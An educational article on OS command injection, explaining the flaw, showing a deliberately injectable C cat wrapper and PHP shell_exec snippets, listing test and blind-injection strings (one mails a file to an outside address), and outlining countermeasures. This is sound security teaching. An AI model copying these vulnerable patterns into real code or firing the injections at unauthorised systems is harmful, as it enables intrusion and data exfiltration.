Command injection

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.
This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Code Injection, the attacker extends the default functionality of the application without the necessity of executing system commands.

Example 1
The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard output. It is also injectable:

#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
char cat[] = "cat ";
char *command;
size_t commandLength;
commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );
system(command);
return (0);
}
Used normally, the output is simply the contents of the file requested:
$ ./catWrapper Story.txt
When last we left our heroes...
However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:
$ ./catWrapper "Story.txt; ls"
When last we left our heroes...
Story.txt doubFree.c nullpointer.c
unstosig.c www* a.out*
format.c strlen.c useFree*
catWrapper* misnull.c strlength.c useFree.c
commandinjection.c nodefault.c trunc.c writeWhatWhere.c
If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.
How to Test a Website for Command Injection Vulnerabilities
The first step in identifying command injection vulnerabilities is to map the application. Once you have a series of pages identified to test for command injection, or where you suspect that a website may be calling an underlying operating system function, there are a few simple tests you can perform to get a feel for whether a command injection vulnerability might exist.
Depending on the underlying operating system, the commands will differ. For both Unix and Windows, appending a semicolon to some input data followed by a basic command: (Windows) <normal_input>; dir c:
(Unix) <normal_input>; ls
If the application outputs error messages other than invalid character messages, then a shell injection is likely to be present. There are a few error messages which are the most likely. if you get error messages about the input not being formatted correctly for the command, such as file not found errors when specifying a file to read, then you may have to modify the command accordingly, with quotes for example. Consider again the first example where the application calls the system command cat to read a file, and possible ways you might need to craft an injection string:
<?php
//sending the input directly. Attack with a string like file.txt;ls
echo shell_exec('cat '.$_GET['command']);
?>
<?php
//input is placed in quotes. You must end the quotes to execute an injection.
//Craft an attack with a string like file.txt";ls
echo shell_exec('cat "'.$_GET['command']).'"';
?>
Testing for Blind Command Injection
Sometimes, an application will not return any error messages back to the screen. In this case, the command injection tests need to be crafted so that they do not depend on output back to the screen. Common commands to use include the unix mail command, or pinging an IP address to see if it is received. You can also try to write test files into the web directory and check if they have been created, though this is less reliable. Some simple examples of blind command injections on Unix, again assuming the application is expecting a text file as user input: file.txt;mail tester@test.com < file.txt //send an email to yourself
file.txt;ping www.test.com //ping a webserver you have control of
file.txt;echo "test" > test.txt //write the word "test" to test.txt. try opening this file with the browser.
In each case, consider if some of the input entered is blacklisted by the application. If the basic command injection tests don't return any results, then try encoding common characters. Common encoding schemes include JavaScript uuencode, html encoding within the browser, or various unicode encodings.
Command Injection Countermeasures
Applications defend against command injection bugs by doing proper input validation and sanitization. Developers must look for all instances where the application invokes a shell-like system function such as exec or system and avoid executing them unless the parameters have been properly validated and sanitized. There are two possible ways to validate these parameters: using black lists or using white lists.
Permissions
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these information to test from a Gray Box point of view